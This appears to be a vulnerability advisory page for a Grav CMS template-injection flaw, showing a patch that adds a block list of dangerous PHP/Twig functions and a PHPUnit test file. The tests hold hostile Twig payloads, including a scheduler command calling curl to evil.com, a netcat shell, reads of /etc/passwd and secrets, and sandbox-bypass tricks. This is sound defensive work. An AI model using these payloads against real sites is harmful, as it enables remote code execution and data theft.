High severityNVD Advisory· Published Dec 1, 2025· Updated Dec 2, 2025
Grav is vulnerable to Server-Side Template Injection (SSTI) via Forms
CVE-2025-66298
Description
Grav is a file-based Web platform. Prior to 1.8.0-beta.27, having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload to exploit a Server-Side Template (SST) vulnerability. Sensitive information may be contained in the configuration details. This vulnerability is fixed in 1.8.0-beta.27.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
getgrav/gravPackagist | < 1.8.0-beta.27 | 1.8.0-beta.27 |
Affected products
1Patches
1e37259527d9cMerge branch 'fix/GHSA-662m-56v4-3r8f-GHSA-858q-77wx-hhx6-GHSA-8535-hvm8-2hmv-GHSA-gjc5-8cfh-653x-GHSA-52hh-vxfw-p6rg-ssti-sandbox' into 1.8
2 files changed · +605 −16
system/src/Grav/Common/Security.php+147 −16 modified@@ -264,29 +264,160 @@ public static function getXssDefaults(): array ]; } + /** @var string|null Cached regex pattern for dangerous functions in Twig blocks */ + private static ?string $dangerousTwigFunctionsPattern = null; + + /** @var string|null Cached regex pattern for dangerous properties */ + private static ?string $dangerousTwigPropertiesPattern = null; + + /** @var string|null Cached regex pattern for dangerous function calls */ + private static ?string $dangerousFunctionCallsPattern = null; + + /** @var string|null Cached regex pattern for string concatenation bypass */ + private static ?string $dangerousJoinPattern = null; + + /** + * Get compiled dangerous Twig patterns (cached for performance) + * + * @return array{functions: string, properties: string, calls: string, join: string} + */ + private static function getDangerousTwigPatterns(): array + { + if (self::$dangerousTwigFunctionsPattern === null) { + // Dangerous Twig functions and methods that should be blocked + $bad_twig_functions = [ + // Twig internals + 'twig_array_map', 'twig_array_filter', 'call_user_func', 'call_user_func_array', + 'forward_static_call', 'forward_static_call_array', + // Twig environment manipulation + 'registerUndefinedFunctionCallback', 'registerUndefinedFilterCallback', + 'undefined_functions', 'undefined_filters', + // File operations + 'read_file', 'file_get_contents', 'file_put_contents', 'fopen', 'fread', 'fwrite', + 'fclose', 'readfile', 'file', 'fpassthru', 'fgetcsv', 'fputcsv', 'ftruncate', + 'fputs', 'fgets', 'fgetc', 'fflush', 'flock', 'glob', 'rename', 'copy', 'unlink', + 'rmdir', 'mkdir', 'symlink', 'link', 'chmod', 'chown', 'chgrp', 'touch', 'tempnam', + 'parse_ini_file', 'highlight_file', 'show_source', + // Code execution + 'exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'proc_close', + 'proc_terminate', 'proc_nice', 'proc_get_status', 'pcntl_exec', 'pcntl_fork', + 'pcntl_signal', 'pcntl_alarm', 'pcntl_setpriority', 'eval', 'assert', + 'create_function', 'preg_replace', 'preg_replace_callback', 'ob_start', + // Dynamic evaluation + 'evaluate_twig', 'evaluate', + // Serialization + 'unserialize', 'serialize', 'var_export', 'token_get_all', + // Network functions (SSRF) + 'curl_init', 'curl_exec', 'curl_multi_exec', 'fsockopen', 'pfsockopen', + 'socket_create', 'stream_socket_client', 'stream_socket_server', + // Info disclosure + 'phpinfo', 'getenv', 'putenv', 'get_current_user', 'getmyuid', 'getmygid', + 'getmypid', 'get_cfg_var', 'ini_get', 'ini_set', 'ini_alter', 'ini_restore', + 'get_defined_vars', 'get_defined_functions', 'get_defined_constants', + 'get_loaded_extensions', 'get_extension_funcs', 'phpversion', 'php_uname', + // Reflection + 'ReflectionClass', 'ReflectionFunction', 'ReflectionMethod', + 'ReflectionProperty', 'ReflectionObject', + // Include/require + 'include', 'include_once', 'require', 'require_once', + // Callback arrays + 'array_map', 'array_filter', 'array_reduce', 'array_walk', 'array_walk_recursive', + 'usort', 'uasort', 'uksort', 'iterator_apply', + // Output manipulation + 'header', 'headers_sent', 'header_remove', 'http_response_code', + // Mail + 'mail', + // Misc dangerous + 'extract', 'parse_str', 'register_shutdown_function', 'register_tick_function', + 'set_error_handler', 'set_exception_handler', 'spl_autoload_register', + 'apache_child_terminate', 'posix_kill', 'posix_setpgid', 'posix_setsid', + 'posix_setuid', 'posix_setgid', 'posix_mkfifo', 'dl', + // XML (XXE) + 'simplexml_load_file', 'simplexml_load_string', 'DOMDocument', 'XMLReader', + // Database + 'mysqli_query', 'pg_query', 'sqlite_query', + ]; + + // Dangerous property/method access patterns (regex patterns) + $bad_twig_properties = [ + // Twig environment access + 'twig\.twig\b', 'grav\.twig\.twig\b', 'twig\.(?:get|add|set)(?:Function|Filter|Extension|Loader|Cache|Runtime)', + 'twig\.addRuntimeLoader', + // Config modification + 'config\.set\s*\(', 'grav\.config\.set\s*\(', '\.safe_functions', '\.safe_filters', + '\.undefined_functions', '\.undefined_filters', 'twig_vars\[', 'config\.join\s*\(', + // Scheduler access + 'grav\.scheduler\b', 'scheduler\.(?:addCommand|save|run|add|remove)\s*\(?', + // Core escaper + 'core\.setEscaper', 'setEscaper\s*\(', + // Context access + '_context\b', '_self\b', '_charset\b', + // User modification + 'grav\.user\.(?:update|save)\s*\(', 'grav\.accounts\.user\s*\([^)]*\)\.(?:update|save)', + '\.(?:set|setNested)Property\s*\(', + // Flex objects + '(?:get)?[Ff]lexDirectory\s*\(', + // Locator write mode + 'grav\.locator\.findResource\s*\([^)]*,\s*true', + // Plugin/theme manipulation + 'grav\.(?:plugins|themes)\.get\s*\(', + // Session manipulation + 'session\.(?:set|setFlash)\s*\(', + // Cache manipulation + 'cache\.(?:delete|clear|purge)', + // Backups and GPM + 'grav\.(?:backups|gpm)\b', + ]; + + // Build combined patterns (compile once, use many times) + $quotedFunctions = array_map(fn($f) => preg_quote($f, '/'), $bad_twig_functions); + $functionsPattern = implode('|', $quotedFunctions); + + // Pattern for functions in Twig blocks + self::$dangerousTwigFunctionsPattern = '/(({{\s*|{%\s*)[^}]*?(' . $functionsPattern . ')[^}]*?(\s*}}|\s*%}))/i'; + + // Pattern for properties (already regex patterns, just combine) + $propertiesPattern = implode('|', $bad_twig_properties); + self::$dangerousTwigPropertiesPattern = '/(({{\s*|{%\s*)[^}]*?(' . $propertiesPattern . ')[^}]*?(\s*}}|\s*%}))/i'; + + // Pattern for function calls outside Twig blocks (for nested eval) + self::$dangerousFunctionCallsPattern = '/\b(' . $functionsPattern . ')\s*\(/i'; + + // Pattern for string concatenation bypass attempts + $suspiciousFragments = ['safe_func', 'safe_filt', 'undefined_', 'scheduler', 'registerUndefined', '_context', 'setEscaper']; + $fragmentsPattern = implode('|', array_map(fn($f) => preg_quote($f, '/'), $suspiciousFragments)); + self::$dangerousJoinPattern = '/(({{\s*|{%\s*)[^}]*?\[[^\]]*[\'"](' . $fragmentsPattern . ')[\'"][^\]]*\]\s*\|\s*join[^}]*?(\s*}}|\s*%}))/i'; + } + + return [ + 'functions' => self::$dangerousTwigFunctionsPattern, + 'properties' => self::$dangerousTwigPropertiesPattern, + 'calls' => self::$dangerousFunctionCallsPattern, + 'join' => self::$dangerousJoinPattern, + ]; + } + public static function cleanDangerousTwig(string $string): string { - if ($string === '') { + // Early exit for empty strings or strings without Twig + if ($string === '' || (strpos($string, '{{') === false && strpos($string, '{%') === false)) { return $string; } - $bad_twig = [ - 'twig_array_map', - 'twig_array_filter', - 'call_user_func', - 'registerUndefinedFunctionCallback', - 'undefined_functions', - 'twig.getFunction', - 'core.setEscaper', - 'twig.safe_functions', - 'read_file', - ]; + // Get cached compiled patterns + $patterns = self::getDangerousTwigPatterns(); - $string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string); + // Pass 1: Block dangerous functions in Twig blocks + $string = preg_replace($patterns['functions'], '{# BLOCKED: $1 #}', $string); - foreach ($bad_twig as $func) { - $string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string); - } + // Pass 2: Block dangerous property access patterns + $string = preg_replace($patterns['properties'], '{# BLOCKED: $1 #}', $string); + + // Pass 3: Block dangerous function calls (for nested eval bypass) + $string = preg_replace($patterns['calls'], '{# BLOCKED: $0 #}', $string); + + // Pass 4: Block string concatenation bypass attempts + $string = preg_replace($patterns['join'], '{# BLOCKED: $1 #}', $string); return $string; }
tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php+458 −0 added@@ -0,0 +1,458 @@ +<?php + +use Grav\Common\Security; + +/** + * Class CleanDangerousTwigTest + * + * Tests for Security::cleanDangerousTwig() method. + * Covers SSTI sandbox fixes: GHSA-662m, GHSA-858q, GHSA-8535, GHSA-gjc5, GHSA-52hh + * + * Naming convention: test{Method}_{GHSA_ID}_{description} + */ +class CleanDangerousTwigTest extends \PHPUnit\Framework\TestCase +{ + /** + * Reset static cache before each test to ensure clean state + */ + protected function setUp(): void + { + parent::setUp(); + // Reset the static pattern cache using reflection + $reflection = new ReflectionClass(Security::class); + + $properties = [ + 'dangerousTwigFunctionsPattern', + 'dangerousTwigPropertiesPattern', + 'dangerousFunctionCallsPattern', + 'dangerousJoinPattern' + ]; + + foreach ($properties as $prop) { + if ($reflection->hasProperty($prop)) { + $property = $reflection->getProperty($prop); + $property->setAccessible(true); + $property->setValue(null, null); + } + } + } + + // ========================================================================= + // GHSA-662m-56v4-3r8f: SSTI sandbox bypass via nested evaluate_twig + // ========================================================================= + + /** + * @dataProvider providerGHSA662m_NestedEvaluateTwig + */ + public function testCleanDangerousTwig_GHSA662m_BlocksNestedEvaluateTwig(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerGHSA662m_NestedEvaluateTwig(): array + { + return [ + ['{{ evaluate_twig("test") }}', 'Direct evaluate_twig call'], + ['{% set x = evaluate_twig(user_input) %}', 'evaluate_twig in set block'], + ['{{ evaluate("test") }}', 'evaluate function'], + ['{{ evaluate_twig(form.value("name")) }}', 'evaluate_twig with form value'], + ]; + } + + // ========================================================================= + // GHSA-858q-77wx-hhx6: Privilege escalation via grav.user/scheduler + // ========================================================================= + + /** + * @dataProvider providerGHSA858q_PrivilegeEscalation + */ + public function testCleanDangerousTwig_GHSA858q_BlocksPrivilegeEscalation(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerGHSA858q_PrivilegeEscalation(): array + { + return [ + // User modification attacks + ["{{ grav.user.update({'access':{'admin':{'super':true}}}) }}", 'grav.user.update privilege escalation'], + ['{{ grav.user.save() }}', 'grav.user.save call'], + + // Scheduler RCE attacks + ['{{ grav.scheduler.addCommand("curl", ["http://evil.com"]) }}', 'scheduler.addCommand'], + ['{{ grav.scheduler.run() }}', 'scheduler.run'], + ['{{ grav.scheduler.save() }}', 'scheduler.save'], + ['{% set s = grav.scheduler %}', 'Direct scheduler access'], + ]; + } + + // ========================================================================= + // GHSA-8535-hvm8-2hmv: Context leak via _context access + // ========================================================================= + + /** + * @dataProvider providerGHSA8535_ContextLeak + */ + public function testCleanDangerousTwig_GHSA8535_BlocksContextLeak(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerGHSA8535_ContextLeak(): array + { + return [ + ['{{ _context }}', 'Direct _context access'], + ['{{ _context|json_encode }}', '_context with filter'], + ['{% for key, value in _context %}{{ key }}{% endfor %}', '_context iteration'], + ['{{ _self }}', '_self access'], + ['{{ _charset }}', '_charset access'], + ['{{ dump(_context) }}', 'dump with _context'], + ]; + } + + // ========================================================================= + // GHSA-gjc5-8cfh-653x: Sandbox bypass via config.set + // ========================================================================= + + /** + * @dataProvider providerGHSAgjc5_ConfigBypass + */ + public function testCleanDangerousTwig_GHSAgjc5_BlocksConfigBypass(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerGHSAgjc5_ConfigBypass(): array + { + return [ + ["{{ grav.config.set('system.twig.safe_functions', ['system']) }}", 'grav.config.set safe_functions'], + ["{{ grav.twig.twig_vars['config'] }}", 'twig_vars config access'], + ['{{ twig_vars["config"] }}', 'Direct twig_vars access'], + ["{{ something.safe_functions }}", '.safe_functions access'], + ["{{ something.safe_filters }}", '.safe_filters access'], + ["{{ x.undefined_functions }}", '.undefined_functions access'], + ]; + } + + // ========================================================================= + // GHSA-52hh-vxfw-p6rg: CVE-2024-28116 bypass via string concatenation + // ========================================================================= + + /** + * @dataProvider providerGHSA52hh_StringConcatBypass + */ + public function testCleanDangerousTwig_GHSA52hh_BlocksStringConcatBypass(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerGHSA52hh_StringConcatBypass(): array + { + // These test the specific suspicious fragments we check for in join() operations + return [ + ["{{ ['safe_func', 'tions']|join('') }}", 'join to construct safe_functions'], + ["{{ ['safe_filt', 'ers']|join }}", 'join to construct safe_filters'], + ["{{ ['_context', 'var']|join('') }}", 'join with _context fragment'], + ["{{ ['scheduler', '.run']|join('') }}", 'join with scheduler fragment'], + ["{{ ['registerUndefined', 'Callback']|join('') }}", 'join with registerUndefined fragment'], + ["{{ ['undefined_', 'functions']|join('') }}", 'join with undefined_ fragment'], + ]; + } + + // ========================================================================= + // Dangerous PHP Functions (Code Execution) + // ========================================================================= + + /** + * @dataProvider providerDangerousCodeExecution + */ + public function testCleanDangerousTwig_BlocksCodeExecution(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerDangerousCodeExecution(): array + { + return [ + ['{{ exec("whoami") }}', 'exec function'], + ['{{ shell_exec("ls") }}', 'shell_exec function'], + ['{{ system("id") }}', 'system function'], + ['{{ passthru("cat /etc/passwd") }}', 'passthru function'], + ['{{ popen("nc -e /bin/sh", "r") }}', 'popen function'], + ['{{ proc_open("sh", [], $pipes) }}', 'proc_open function'], + ['{{ pcntl_exec("/bin/sh") }}', 'pcntl_exec function'], + ['{{ eval("phpinfo();") }}', 'eval function'], + ['{{ assert("system(\'id\')") }}', 'assert function'], + ['{{ create_function("", "system(\'id\');") }}', 'create_function'], + ]; + } + + // ========================================================================= + // Dangerous PHP Functions (File Operations) + // ========================================================================= + + /** + * @dataProvider providerDangerousFileOperations + */ + public function testCleanDangerousTwig_BlocksFileOperations(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerDangerousFileOperations(): array + { + return [ + ['{{ file_get_contents("/etc/passwd") }}', 'file_get_contents'], + ['{{ file_put_contents("/tmp/x", "data") }}', 'file_put_contents'], + ['{{ fopen("/etc/passwd", "r") }}', 'fopen'], + ['{{ readfile("/etc/passwd") }}', 'readfile'], + ['{{ unlink("/important/file") }}', 'unlink'], + ['{{ rmdir("/important/dir") }}', 'rmdir'], + ['{{ mkdir("/tmp/evil") }}', 'mkdir'], + ['{{ chmod("/tmp/file", 0777) }}', 'chmod'], + ['{{ copy("/etc/passwd", "/tmp/passwd") }}', 'copy'], + ['{{ rename("/tmp/a", "/tmp/b") }}', 'rename'], + ['{{ symlink("/etc/passwd", "/tmp/link") }}', 'symlink'], + ['{{ glob("/etc/*") }}', 'glob'], + ]; + } + + // ========================================================================= + // Dangerous PHP Functions (Network/SSRF) + // ========================================================================= + + /** + * @dataProvider providerDangerousNetwork + */ + public function testCleanDangerousTwig_BlocksNetworkFunctions(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerDangerousNetwork(): array + { + return [ + ['{{ curl_init("http://evil.com") }}', 'curl_init'], + ['{{ curl_exec($ch) }}', 'curl_exec'], + ['{{ fsockopen("evil.com", 80) }}', 'fsockopen'], + ['{{ pfsockopen("evil.com", 80) }}', 'pfsockopen'], + ['{{ socket_create(AF_INET, SOCK_STREAM, 0) }}', 'socket_create'], + ['{{ stream_socket_client("tcp://evil.com:80") }}', 'stream_socket_client'], + ]; + } + + // ========================================================================= + // Dangerous PHP Functions (Information Disclosure) + // ========================================================================= + + /** + * @dataProvider providerInfoDisclosure + */ + public function testCleanDangerousTwig_BlocksInfoDisclosure(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerInfoDisclosure(): array + { + return [ + ['{{ phpinfo() }}', 'phpinfo'], + ['{{ getenv("DB_PASSWORD") }}', 'getenv'], + ['{{ get_defined_vars() }}', 'get_defined_vars'], + ['{{ get_defined_functions() }}', 'get_defined_functions'], + ['{{ ini_get("open_basedir") }}', 'ini_get'], + ['{{ php_uname() }}', 'php_uname'], + ['{{ phpversion() }}', 'phpversion'], + ]; + } + + // ========================================================================= + // Twig Environment Manipulation + // ========================================================================= + + /** + * @dataProvider providerTwigEnvironmentManipulation + */ + public function testCleanDangerousTwig_BlocksTwigEnvironmentManipulation(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerTwigEnvironmentManipulation(): array + { + return [ + ['{{ grav.twig.twig.registerUndefinedFunctionCallback("system") }}', 'registerUndefinedFunctionCallback'], + ['{{ twig.twig }}', 'Direct twig.twig access'], + ['{{ grav.twig.twig }}', 'grav.twig.twig access'], + ['{{ twig.getFunction("x") }}', 'twig.getFunction'], + ['{{ twig.addFunction(func) }}', 'twig.addFunction'], + ['{{ twig.setLoader(loader) }}', 'twig.setLoader'], + ['{{ core.setEscaper("html", callback) }}', 'core.setEscaper'], + ]; + } + + // ========================================================================= + // Serialization (Object Injection) + // ========================================================================= + + /** + * @dataProvider providerSerialization + */ + public function testCleanDangerousTwig_BlocksSerialization(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerSerialization(): array + { + return [ + ['{{ unserialize(user_input) }}', 'unserialize'], + ['{{ serialize(object) }}', 'serialize'], + ['{{ var_export(data, true) }}', 'var_export'], + ]; + } + + // ========================================================================= + // Callback Functions + // ========================================================================= + + /** + * @dataProvider providerCallbackFunctions + */ + public function testCleanDangerousTwig_BlocksCallbackFunctions(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerCallbackFunctions(): array + { + return [ + ['{{ call_user_func("system", "id") }}', 'call_user_func'], + ['{{ call_user_func_array("system", ["id"]) }}', 'call_user_func_array'], + ['{{ array_map("system", ["id"]) }}', 'array_map with callback'], + ['{{ array_filter(arr, "system") }}', 'array_filter with callback'], + ['{{ usort(arr, "system") }}', 'usort with callback'], + ]; + } + + // ========================================================================= + // Grav-specific Dangerous Access + // ========================================================================= + + /** + * @dataProvider providerGravDangerousAccess + */ + public function testCleanDangerousTwig_BlocksGravDangerousAccess(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description"); + } + + public static function providerGravDangerousAccess(): array + { + return [ + ['{{ grav.backups }}', 'grav.backups access'], + ['{{ grav.gpm }}', 'grav.gpm access'], + ['{{ grav.plugins.get("admin") }}', 'grav.plugins.get'], + ['{{ grav.themes.get("quark") }}', 'grav.themes.get'], + ['{{ session.set("admin", true) }}', 'session.set'], + ['{{ cache.clear() }}', 'cache.clear'], + ['{{ cache.delete("key") }}', 'cache.delete'], + ['{{ obj.setProperty("key", "value") }}', 'setProperty'], + ['{{ obj.setNestedProperty("a.b", "c") }}', 'setNestedProperty'], + ['{{ grav.locator.findResource("user://", true) }}', 'findResource write mode'], + ]; + } + + // ========================================================================= + // Performance: Early Exit Tests + // ========================================================================= + + public function testCleanDangerousTwig_EarlyExitEmptyString(): void + { + $result = Security::cleanDangerousTwig(''); + self::assertSame('', $result); + } + + public function testCleanDangerousTwig_EarlyExitNoTwigBlocks(): void + { + $plainText = 'This is just plain text without any Twig syntax.'; + $result = Security::cleanDangerousTwig($plainText); + self::assertSame($plainText, $result, 'Plain text should pass through unchanged'); + } + + public function testCleanDangerousTwig_EarlyExitHtmlOnly(): void + { + $html = '<div class="container"><h1>Hello World</h1><p>Some content here.</p></div>'; + $result = Security::cleanDangerousTwig($html); + self::assertSame($html, $result, 'HTML without Twig should pass through unchanged'); + } + + // ========================================================================= + // Safe Patterns (Should NOT be blocked) + // ========================================================================= + + /** + * @dataProvider providerSafePatterns + */ + public function testCleanDangerousTwig_AllowsSafePatterns(string $input, string $description): void + { + $result = Security::cleanDangerousTwig($input); + self::assertStringNotContainsString('{# BLOCKED:', $result, "Should NOT block: $description"); + } + + public static function providerSafePatterns(): array + { + return [ + ['{{ page.title }}', 'Page title access'], + ['{{ page.content }}', 'Page content access'], + ['{{ grav.config.get("site.title") }}', 'Config get (read only)'], + ['{{ uri.path }}', 'URI path'], + ['{% for item in collection %}{{ item.title }}{% endfor %}', 'Normal loop'], + ['{{ "hello"|upper }}', 'String filter'], + ['{{ date("Y-m-d") }}', 'Date function'], + ['{{ dump(page) }}', 'Dump for debugging'], + ['{% if page.visible %}show{% endif %}', 'Conditional'], + ['{{ page.media.images }}', 'Media access'], + ['{{ grav.version }}', 'Grav version'], + ['{{ page.route }}', 'Page route'], + ]; + } + + // ========================================================================= + // Pattern Caching Tests + // ========================================================================= + + public function testCleanDangerousTwig_PatternCaching(): void + { + // First call should build patterns + $result1 = Security::cleanDangerousTwig('{{ exec("test") }}'); + + // Second call should use cached patterns + $result2 = Security::cleanDangerousTwig('{{ system("test") }}'); + + // Both should be blocked + self::assertStringContainsString('{# BLOCKED:', $result1); + self::assertStringContainsString('{# BLOCKED:', $result2); + + // Verify patterns are cached using reflection + $reflection = new ReflectionClass(Security::class); + $property = $reflection->getProperty('dangerousTwigFunctionsPattern'); + $property->setAccessible(true); + $cachedPattern = $property->getValue(); + + self::assertNotNull($cachedPattern, 'Pattern should be cached after first call'); + } +}
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- github.com/advisories/GHSA-8535-hvm8-2hmvghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2025-66298ghsaADVISORY
- github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458ghsax_refsource_MISCWEB
- github.com/getgrav/grav/security/advisories/GHSA-8535-hvm8-2hmvghsax_refsource_CONFIRMWEB
News mentions
0No linked articles in our index yet.